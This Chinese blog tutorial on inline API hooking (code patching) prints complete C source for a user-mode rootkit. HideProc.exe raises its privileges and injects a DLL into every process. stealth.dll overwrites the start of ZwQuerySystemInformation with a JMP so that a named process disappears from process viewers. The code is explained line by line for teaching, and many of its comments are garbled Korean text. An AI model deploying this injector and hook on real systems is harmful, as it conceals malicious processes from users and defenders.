逆核系列No.15--API Hook:Code patch

Code Patch

本节关注另外一种API Hook的实施细节—–修改API代码(Code Patch)。通过Code Patch方法,展示通过这种hook技术完成向系统隐藏指定进程(Rootkit)。

Rootkit

隐藏进程(stealth process)在代码逆向分析领域中的专业术语为Rootkit,它指的是通过修改(hooking)系统内核来隐藏进程、文件、注册表等的一种技术。

实施细节

相比先前章节的内容,IAT钩取通过操作进程的对应的IAT值来实现API钩取,控制程序的执行流程。代码修改(Code patch)技术则是将API代码的前5个字节修改为JMP xxxxxxxx指令来钩取API,当调用由Code Patch钩取的API时,由于被钩取的API代码前5个字节被修改为JMP xxxxxxxx,因此会跳转到 JMP 目的地xxxxxxxx的位置去执行代码,进而控制程序的执行。(下面图片,来自书中内容)


实验

一些进程查看软件,例如Procexp.exe,可以查看当前系统中运行的进程。而隐藏进程则是钩取进程查看软件的相关API,从中通过Hook Function使得待隐藏的目标进程对于进程查看软件不可视。

相关API

ntdll.ZwQuerySystemInfomation API文档,原型如下

1
2
3
4
5
6
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);

第一个参数指向SYSTEM_INFORMATION_CLASS的枚举类型,指出想要获取的信息。出于本节查看进程信息的目的需要设置为:SYSTEM_INFORMATION_CLASS = SystemProcessInformation。若获取成功,则第二个参数SystemInformation则会写入相应获取到进程信息,本节中,该字段会获取到相应的结构体链表信息,单个的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION;

因此,大致的隐藏进程的思路便有了:通过钩取ZwQuerySystemInformation,设置好参数,修改第二个参数中返回的系统信息链表,遍历查找出我们需要隐藏的目标进程在链表中对应的节点,将之删除即可达到隐藏进程的目的。

过程分析

下Hook
  1. 使用的DLL注入技术,将DLL文件注入进程查看软件,注入后可获取和宿主进程一样的权限。
  2. 通过DllMain修改宿主进程中API ntdll.ZwQuerySystemInfomation的前五个字节的指令码,修改为JMP 10001120,其中0x10001120的内容是写在DLL文件中的Hook Function,如此一来即可完成对API ntdll.ZwQuerySystemInfomation 的Hook工作。
Hook工作

完成Hook的工作后,当进程查看软件调用API ntdll.ZwQuerySystemInfomation试图借此获取当前系统中运行的进程信息时,由于前五bytes的指令字节码被修改JMP 10001120,因此会跳转向Hook Function的地址去执行相应的内容。

  1. 首先需要对API ntdll.ZwQuerySystemInfomation进行unhook操作,再对恢复好的API ntdll.ZwQuerySystemInfomation进行调用。
  2. 对API ntdll.ZwQuerySystemInfomation返回的包含系统进程信息链表进行遍历,从中删除想隐藏的进程对应的节点,便可使得待隐藏进程对进程查看软件不可视。
  3. 之后重新对API进行Hook,以便再次使用。

源码分析

HideProc part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"

typedef void (*PFN_SetProcName)(LPCTSTR szProcName);
enum {INJECTION_MODE = 0, EJECTION_MODE};

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;

if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}

if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}

if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}

return TRUE;
}

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess, hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}

pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);

pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}

BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot, hProcess, hThread;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;

if( INVALID_HANDLE_VALUE ==
(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )
return FALSE;

bMore = Module32First(hSnapshot, &me);
for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )
{
if( !_tcsicmp(me.szModule, szDllPath) ||
!_tcsicmp(me.szExePath, szDllPath) )
{
bFound = TRUE;
break;
}
}

if( !bFound )
{
CloseHandle(hSnapshot);
return FALSE;
}

if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
CloseHandle(hSnapshot);
return FALSE;
}

pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);

return TRUE;
}

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;

// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );

// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;

// ½Ã½ºÅÛÀÇ ¾ÈÁ¤¼ºÀ» À§Çؼ­
// PID °¡ 100 º¸´Ù ÀÛÀº ½Ã½ºÅÛ ÇÁ·Î¼¼½º¿¡ ´ëÇؼ­´Â
// DLL Injection À» ¼öÇàÇÏÁö ¾Ê´Â´Ù.
if( dwPID < 100 )
continue;

if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
while( Process32Next(hSnapShot, &pe) );

CloseHandle(hSnapShot);

return TRUE;
}

int _tmain(int argc, TCHAR* argv[])
{
int nMode = INJECTION_MODE;
HMODULE hLib = NULL;
PFN_SetProcName SetProcName = NULL;

if( argc != 4 )
{
printf("\n Usage : HideProc.exe <-hide|-show> "\
"<process name> <dll path>\n\n");
return 1;
}

// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);

// load library
hLib = LoadLibrary(argv[3]);

// set process name to hide
SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
SetProcName(argv[2]);

// Inject(Eject) Dll to all process
if( !_tcsicmp(argv[1], L"-show") )
nMode = EJECTION_MODE;

InjectAllProcess(nMode, argv[3]);

// free library
FreeLibrary(hLib);

return 0;
}

下面分部分对HideProc的源码进行分析:

main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int _tmain(int argc, TCHAR* argv[])
{
int nMode = INJECTION_MODE;
HMODULE hLib = NULL;
PFN_SetProcName SetProcName = NULL;

if( argc != 4 )
{
printf("\n Usage : HideProc.exe <-hide|-show> "\
"<process name> <dll path>\n\n");
return 1;
}

// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);

// load library
hLib = LoadLibrary(argv[3]);

// set process name to hide
SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
SetProcName(argv[2]);

// Inject(Eject) Dll to all process
if( !_tcsicmp(argv[1], L"-show") )
nMode = EJECTION_MODE;

InjectAllProcess(nMode, argv[3]);

// free library
FreeLibrary(hLib);

return 0;
}
  • 第7-12行,完成的是对参数的检测。第一个参数是启用的模式:一个是隐藏进程模式,一个是取消隐藏模式; 第二个参数是想要隐藏的进程名;第三个参数是注入的DLL文件。
  • 第15行,提升权限
  • 第18-22行,完成DLL的载入,并指定将隐藏的进程的。
  • 第25-28行,根据启用的模式调用InjectAllProcess
InjectAllProcess
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;

// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );

// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;

// ½Ã½ºÅÛÀÇ ¾ÈÁ¤¼ºÀ» À§Çؼ­
// PID < 100是系统比较重要的进程,最好不干涉
// DLL Injection À» ¼öÇàÇÏÁö ¾Ê´Â´Ù.
if( dwPID < 100 )
continue;

if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
while( Process32Next(hSnapShot, &pe) );

CloseHandle(hSnapShot);

return TRUE;
}

完成的内容是使用CreateToolhelp32Snapshot & Process32First & Process32Next遍历获取到的进程快照,比对是否为目标进程对应的PID。第23-26行,根据nMod的不同,调用不同的接口。

InjectDll
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess, hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}

pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);

pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}
  • 第8-12行,使用OpenProcess以设置好的参数(PROCESS_ALL_ACCESS权限)尝试打开目标进程。
  • 第14-18行,当OpenProcess成功打开目标进程,则在进程内部开辟一段足够存放待注入DLL路径信息的空间(具备写入等权限)起始地址为pRemoteBuf,之所以能开辟是由于在main中提升了权限。
  • 第20-24行,先是使用GetProcAddress获取Kernel32.LoadLibraryw API的地址存放在pThreadProc中,随后调用CreateRemoteThread,开辟的线程去执行LoadLibraryw 调用,传递给LoadLibraryw 的参数是写入DLL路径的地址空间LoadLibraryw ,线程执行即可完成dll的载入。
  • 之后的内容就是等待线程执行结束,释放开辟出来的内存空间,关闭相关句柄等

DLL part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
#include "windows.h"
#include "tchar.h"

#define STATUS_SUCCESS (0x00000000L)

typedef LONG NTSTATUS;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

#define DEF_NTDLL ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")


// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()

// global variable
BYTE g_pOrgBytes[5] = {0,};


BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;

// ÈÄÅ· ´ë»ó API ÁÖ¼Ò¸¦ ±¸ÇÑ´Ù
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// ¸¸¾à ÀÌ¹Ì ÈÄÅ· µÇ¾î ÀÖ´Ù¸é return FALSE
if( pByte[0] == 0xE9 )
return FALSE;

// 5 byte ÆÐÄ¡¸¦ À§ÇÏ¿© ¸Þ¸ð¸®¿¡ WRITE ¼Ó¼º Ãß°¡
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// ±âÁ¸ ÄÚµå (5 byte) ¹é¾÷
memcpy(pOrgBytes, pfnOrg, 5);

// JMP ÁÖ¼Ò °è»ê (E9 XXXX)
// => XXXX = pfnNew - pfnOrg - 5
dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
memcpy(&pBuf[1], &dwAddress, 4);

// Hook - 5 byte ÆÐÄ¡ (JMP XXXX)
memcpy(pfnOrg, pBuf, 5);

// ¸Þ¸ð¸® ¼Ó¼º º¹¿ø
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);

return TRUE;
}


BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;

// API ÁÖ¼Ò ±¸ÇÑ´Ù
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;

// ¸¸¾à ÀÌ¹Ì ¾ðÈÄÅ· µÇ¾î ÀÖ´Ù¸é return FALSE
if( pByte[0] != 0xE9 )
return FALSE;

// ¿ø·¡ ÄÚµå(5 byte)¸¦ µ¤¾î¾²±â À§ÇØ ¸Þ¸ð¸®¿¡ WRITE ¼Ó¼º Ãß°¡
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Unhook
memcpy(pFunc, pOrgBytes, 5);

// ¸Þ¸ð¸® ¼Ó¼º º¹¿ø
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

return TRUE;
}


NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};

// ÀÛ¾÷ Àü¿¡ unhook
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

// original API È£Ãâ
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);

if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;

// SystemProcessInformation ÀÎ °æ¿ì¸¸ ÀÛ¾÷ÇÔ
if( SystemInformationClass == SystemProcessInformation )
{
// SYSTEM_PROCESS_INFORMATION ŸÀÔ Ä³½ºÆÃ
// pCur ´Â single linked list ÀÇ head
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while(TRUE)
{
// ÇÁ·Î¼¼½º À̸§ ºñ±³
// g_szProcName = ÀºÆóÇÏ·Á´Â ÇÁ·Î¼¼½º À̸§
// (=> SetProcName() ¿¡¼­ ¼¼ÆõÊ)
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// ¿¬°á ¸®½ºÆ®¿¡¼­ ÀºÆó ÇÁ·Î¼¼½º Á¦°Å
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}

if(pCur->NextEntryOffset == 0)
break;

// ¿¬°á ¸®½ºÆ®ÀÇ ´ÙÀ½ Ç׸ñ
pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur->NextEntryOffset);
}
}

__NTQUERYSYSTEMINFORMATION_END:

// ÇÔ¼ö Á¾·á Àü¿¡ ´Ù½Ã API Hooking
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);

return status;
}


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;

// #1. 异常处理
// 若当前进程为 HookProc.exe 则终止,不进行钩取。
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;

switch( fdwReason )
{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;

// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}

return TRUE;
}


#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif

接下来逐部分对stealth.dll的源码进行分析。通过HideProc所做的工作,可完成对目标进程注入该DLL

DllMain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;

// #1. 异常处理
// 若当前进程为 HookProc.exe 则终止,不进行钩取。
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;

switch( fdwReason )
{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;

// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}

return TRUE;
}

分情况调用

  • hook_by_code传入待钩取API所在的模块名称,待钩取的API,钩取函数地址,用于保存原来字节码内容的位置。
  • unhook_by_code传入待恢复的API所在的模块名称,待恢复的API,保存原来字节码内容的位置。
hook_by_code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;

pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

if( pByte[0] == 0xE9 )
return FALSE;

VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pOrgBytes, pfnOrg, 5);

dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
memcpy(&pBuf[1], &dwAddress, 4);

memcpy(pfnOrg, pBuf, 5);

VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);

return TRUE;
}
  • 第8-9行,指出需要钩取的API地址,将API地址转化为字节指针,方便后续读取出字节内容。
  • 第11-12行,比对API地址的第一个字节内容,判断是否被钩取过(E9代表JMP)
  • 第14-15行,修改API所在内存的内存保护权限,因为需要修改字节内容以及执行需要有PAGE_EXECUTE_READWRITE,并保存旧的权限,方便后面回复。(可能PE装载器会验证)
  • 第17-18行,可以说是最关键的内容了。完成对JMP目标地址的计算,计算结果是相对地址,这是JMP指令的操作数决定的。具体计算方法:XXXXXXXX = 跳转目标地址 - 当前指令地址 - 当前指令长度(5)
  • 第20-22行,覆盖原API的前5字节,恢复相关内存的旧权限,完成HOOK

至于unhook_by_code部分,相信经过上述的部分的分析,读者也能尝试自己阅读这部分源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;

// API地址
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;

// 当前是否被hook了
if( pByte[0] != 0xE9 )
return FALSE;

// 内存保护权限相关
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Unhook
memcpy(pFunc, pOrgBytes, 5);

// 恢复
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

return TRUE;
}

以上便是对于隐藏进程Rookie技术的实施过程。但依旧存在以下问题:

  • 需要进行DLL注入完成钩取的进程个数:由于进程查看器这类的软件由很多,上述的方案中,需要将DLL注入进程查看器对应的进程。若只是注入一个进程查看器进程,则再次开启另一进程查看器进行查看,依旧会使得我们想隐藏的进程被观察到。即对于后续即将启用的新的进程查看器的进程依旧看得到我们想隐藏的目标。

结局方案:全局Hook。若设置的钩子是全局的,使得当前系统中无论是否是在下完钩子后的进程调用被Hook的API,依旧会做同样的钩子函数的流程。这部分,我们下节讨论!

Author: Victory+
Link: https://cvjark.github.io/2022/05/10/逆核系列No-15-API-Hook:Rootkit/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.